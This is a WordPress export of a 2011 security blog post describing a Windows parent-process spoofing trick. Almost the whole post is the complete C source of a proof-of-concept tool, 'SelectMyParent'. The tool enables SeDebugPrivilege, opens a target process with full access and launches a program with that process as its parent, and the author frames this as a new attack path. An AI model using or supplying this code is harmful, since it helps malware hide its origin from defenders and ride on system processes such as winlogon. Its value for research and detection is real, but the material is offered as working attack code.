{"id":71,"date":"2011-09-07T18:05:24","date_gmt":"2011-09-07T18:05:24","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=71"},"modified":"2013-10-27T10:58:17","modified_gmt":"2013-10-27T10:58:17","slug":"windows-child-process-fail","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2011\/09\/windows-child-process-fail\/","title":{"rendered":"windows child process fail"},"content":{"rendered":"<p>I ran across this POC code a few months ago. It allows a you to execute processes as a child process of other stuff. Wouldnt it be grand to have your programs run as child processes of system_idle_process or even winlogon?<\/p>\n<p>Thanks to Visata, now you can! There&#8217;s a little feature added to the STARTUPINFOEX struct that allows you to specify a parent process. Oh Microsoft. I love it when you introduce new attack paths to your products. Works on Vista, windows server 2k3, 2k8, and windows 7.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f0f0f0; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #007020\">#include &quot;stdafx.h&quot;<\/span>\r\n<span style=\"color: #007020\">#include &lt;windows.h&gt;<\/span>\r\n\r\n<span style=\"color: #902000\">void<\/span> <span style=\"color: #06287e\">DisplayErrorMessage<\/span>(LPTSTR pszMessage, DWORD dwLastError)\r\n{\r\nHLOCAL hlErrorMessage <span style=\"color: #666666\">=<\/span> <span style=\"color: #007020\">NULL<\/span>;\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM <span style=\"color: #666666\">|<\/span> FORMAT_MESSAGE_IGNORE_INSERTS <span style=\"color: #666666\">|<\/span> FORMAT_MESSAGE_ALLOCATE_BUFFER, <span style=\"color: #007020\">NULL<\/span>, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) <span style=\"color: #666666\">&amp;<\/span>amp;hlErrorMessage, <span style=\"color: #40a070\">0<\/span>, <span style=\"color: #007020\">NULL<\/span>))\r\n{\r\n_tprintf(TEXT(<span style=\"color: #4070a0\">&quot;%s: %s&quot;<\/span>), pszMessage, (PCTSTR) LocalLock(hlErrorMessage));\r\nLocalFree(hlErrorMessage);\r\n}\r\n}\r\n\r\nBOOL <span style=\"color: #06287e\">CurrentProcessAdjustToken<\/span>(<span style=\"color: #902000\">void<\/span>)\r\n{\r\nHANDLE hToken;\r\nTOKEN_PRIVILEGES sTP;\r\n\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span>(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES <span style=\"color: #666666\">|<\/span> TOKEN_QUERY, <span style=\"color: #666666\">&amp;<\/span>amp;hToken))\r\n{\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #666666\">!<\/span>LookupPrivilegeValue(<span style=\"color: #007020\">NULL<\/span>, SE_DEBUG_NAME, <span style=\"color: #666666\">&amp;<\/span>amp;sTP.Privileges[<span style=\"color: #40a070\">0<\/span>].Luid))\r\n{\r\nCloseHandle(hToken);\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> FALSE;\r\n}\r\nsTP.PrivilegeCount <span style=\"color: #666666\">=<\/span> <span style=\"color: #40a070\">1<\/span>;\r\nsTP.Privileges[<span style=\"color: #40a070\">0<\/span>].Attributes <span style=\"color: #666666\">=<\/span> SE_PRIVILEGE_ENABLED;\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #666666\">!<\/span>AdjustTokenPrivileges(hToken, <span style=\"color: #40a070\">0<\/span>, <span style=\"color: #666666\">&amp;<\/span>amp;sTP, <span style=\"color: #007020; font-weight: bold\">sizeof<\/span>(sTP), <span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #007020\">NULL<\/span>))\r\n{\r\nCloseHandle(hToken);\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> FALSE;\r\n}\r\nCloseHandle(hToken);\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> FALSE;\r\n}\r\n\r\n<span style=\"color: #902000\">int<\/span> <span style=\"color: #06287e\">_tmain<\/span>(<span style=\"color: #902000\">int<\/span> argc, _TCHAR<span style=\"color: #666666\">*<\/span> argv[])\r\n{\r\nSTARTUPINFOEX sie <span style=\"color: #666666\">=<\/span> {<span style=\"color: #007020; font-weight: bold\">sizeof<\/span>(sie)};\r\nPROCESS_INFORMATION pi;\r\nSIZE_T cbAttributeListSize <span style=\"color: #666666\">=<\/span> <span style=\"color: #40a070\">0<\/span>;\r\nPPROC_THREAD_ATTRIBUTE_LIST pAttributeList <span style=\"color: #666666\">=<\/span> <span style=\"color: #007020\">NULL<\/span>;\r\nHANDLE hParentProcess <span style=\"color: #666666\">=<\/span> <span style=\"color: #007020\">NULL<\/span>;\r\nDWORD dwPid <span style=\"color: #666666\">=<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n\r\n_putts(TEXT(<span style=\"color: #4070a0\">&quot;SelectMyParent v0.0.0.1: start a program with a selected parent process&quot;<\/span>));\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (argc <span style=\"color: #666666\">!=<\/span> <span style=\"color: #40a070\">3<\/span>)\r\n_putts(TEXT(<span style=\"color: #4070a0\">&quot;usage: SelectMyParent program pid&quot;<\/span>));\r\n<span style=\"color: #007020; font-weight: bold\">else<\/span>\r\n{\r\ndwPid <span style=\"color: #666666\">=<\/span> _tstoi(argv[<span style=\"color: #40a070\">2<\/span>]);\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #40a070\">0<\/span> <span style=\"color: #666666\">==<\/span> dwPid)\r\n{\r\n_putts(TEXT(<span style=\"color: #4070a0\">&quot;Invalid pid&quot;<\/span>));\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\nInitializeProcThreadAttributeList(<span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #40a070\">1<\/span>, <span style=\"color: #40a070\">0<\/span>, <span style=\"color: #666666\">&amp;<\/span>amp;cbAttributeListSize);\r\npAttributeList <span style=\"color: #666666\">=<\/span> (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), <span style=\"color: #40a070\">0<\/span>, cbAttributeListSize);\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #007020\">NULL<\/span> <span style=\"color: #666666\">==<\/span> pAttributeList)\r\n{\r\nDisplayErrorMessage(TEXT(<span style=\"color: #4070a0\">&quot;HeapAlloc error&quot;<\/span>), GetLastError());\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #666666\">!<\/span>InitializeProcThreadAttributeList(pAttributeList, <span style=\"color: #40a070\">1<\/span>, <span style=\"color: #40a070\">0<\/span>, <span style=\"color: #666666\">&amp;<\/span>amp;cbAttributeListSize))\r\n{\r\nDisplayErrorMessage(TEXT(<span style=\"color: #4070a0\">&quot;InitializeProcThreadAttributeList error&quot;<\/span>), GetLastError());\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\nCurrentProcessAdjustToken();\r\nhParentProcess <span style=\"color: #666666\">=<\/span> OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #007020\">NULL<\/span> <span style=\"color: #666666\">==<\/span> hParentProcess)\r\n{\r\nDisplayErrorMessage(TEXT(<span style=\"color: #4070a0\">&quot;OpenProcess error&quot;<\/span>), GetLastError());\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #666666\">!<\/span>UpdateProcThreadAttribute(pAttributeList, <span style=\"color: #40a070\">0<\/span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, <span style=\"color: #666666\">&amp;<\/span>amp;hParentProcess, <span style=\"color: #007020; font-weight: bold\">sizeof<\/span>(HANDLE), <span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #007020\">NULL<\/span>))\r\n{\r\nDisplayErrorMessage(TEXT(<span style=\"color: #4070a0\">&quot;UpdateProcThreadAttribute error&quot;<\/span>), GetLastError());\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\nsie.lpAttributeList <span style=\"color: #666666\">=<\/span> pAttributeList;\r\n<span style=\"color: #007020; font-weight: bold\">if<\/span> (<span style=\"color: #666666\">!<\/span>CreateProcess(<span style=\"color: #007020\">NULL<\/span>, argv[<span style=\"color: #40a070\">1<\/span>], <span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #007020\">NULL<\/span>, FALSE, EXTENDED_STARTUPINFO_PRESENT, <span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #007020\">NULL<\/span>, <span style=\"color: #666666\">&amp;<\/span>amp;sie.StartupInfo, <span style=\"color: #666666\">&amp;<\/span>amp;pi))\r\n{\r\nDisplayErrorMessage(TEXT(<span style=\"color: #4070a0\">&quot;CreateProcess error&quot;<\/span>), GetLastError());\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\n_tprintf(TEXT(<span style=\"color: #4070a0\">&quot;Process created: %d<\/span><span style=\"color: #4070a0; font-weight: bold\">\\n<\/span><span style=\"color: #4070a0\">&quot;<\/span>), pi.dwProcessId);\r\nDeleteProcThreadAttributeList(pAttributeList);\r\nCloseHandle(hParentProcess);\r\n}\r\n\r\n<span style=\"color: #007020; font-weight: bold\">return<\/span> <span style=\"color: #40a070\">0<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>I ran across this POC code a few months ago. It allows a you to execute processes as a child process of other stuff. Wouldnt it be grand to have your programs run as child processes of system_idle_process or even winlogon? Thanks to Visata, now you can! There&#8217;s a little feature added to the STARTUPINFOEX [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/71"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=71"}],"version-history":[{"count":4,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/71\/revisions"}],"predecessor-version":[{"id":570,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/71\/revisions\/570"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=71"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=71"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=71"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}